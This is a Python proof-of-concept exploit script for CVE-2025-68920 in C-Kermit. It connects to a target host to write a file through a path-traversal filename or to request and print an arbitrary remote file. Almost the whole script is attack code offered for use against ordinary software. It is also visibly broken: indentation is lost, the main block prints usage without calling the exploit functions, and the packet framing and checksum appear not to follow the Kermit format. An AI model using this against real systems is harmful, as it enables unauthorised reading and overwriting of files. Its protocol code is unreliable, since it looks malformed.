#!/usr/bin/env python3
# CVE-2025-68920 PoC - C-Kermit Arbitrary File Read/Write
# This PoC demonstrates the file transfer vulnerability in C-Kermit
import socket
import struct
import sys
def build_kermit_packet(data, seq=0, type_='D'):
"""Build a Kermit protocol packet"""
# Kermit packet format: MARK, LEN, SEQ, TYPE, DATA, CHECK, TERMINATOR
packet = struct.pack('!BBB', 0x01, len(data) + 2, seq)
type_byte = ord(type_) if isinstance(type_, str) else type_
packet += struct.pack('!B', type_byte)
packet += data.encode('latin-1') if isinstance(data, str) else data
# Calculate checksum
checksum = sum(packet) % 64 + 64
packet += struct.pack('!B', checksum)
packet += struct.pack('!B', 0x0D) # CR terminator
return packet
def exploit_file_write(target_host, target_port, remote_path, malicious_content):
"""
Exploit C-Kermit to write arbitrary file on target system
"""
print(f"[*] Connecting to {target_host}:{target_port}")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
# Send malicious file transfer request
# Type 'S' = Send init, Type 'F' = File header, Type 'D' = Data
init_packet = build_kermit_packet('S', 0, 'S')
sock.send(init_packet)
# Send malicious filename (path traversal)
file_packet = build_kermit_packet(f"{remote_path}", 1, 'F')
sock.send(file_packet)
# Send malicious file content
data_packet = build_kermit_packet(malicious_content, 2, 'D')
sock.send(data_packet)
# Send end-of-file packet
eof_packet = build_kermit_packet('', 3, 'Z')
sock.send(eof_packet)
print("[+] Malicious file transfer packet sent")
sock.close()
def exploit_file_read(target_host, target_port, target_file):
"""
Exploit C-Kermit to read arbitrary file from target system
"""
print(f"[*] Requesting file: {target_file}")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
# Request to receive specific file
recv_request = build_kermit_packet(f"R {target_file}", 0, 'S')
sock.send(recv_request)
# Wait for response
sock.settimeout(10)
try:
response = sock.recv(4096)
print(f"[+] Received {len(response)} bytes")
print("[*] File content potentially leaked")
except socket.timeout:
print("[-] No response received")
sock.close()
if __name__ == "__main__":
print("CVE-2025-68920 PoC - C-Kermit File Read/Write")
print("Usage: python3 cve-2025-68920.py <target_host> <port> <mode>")
print("Modes: write <remote_path> <content> | read <file_path>")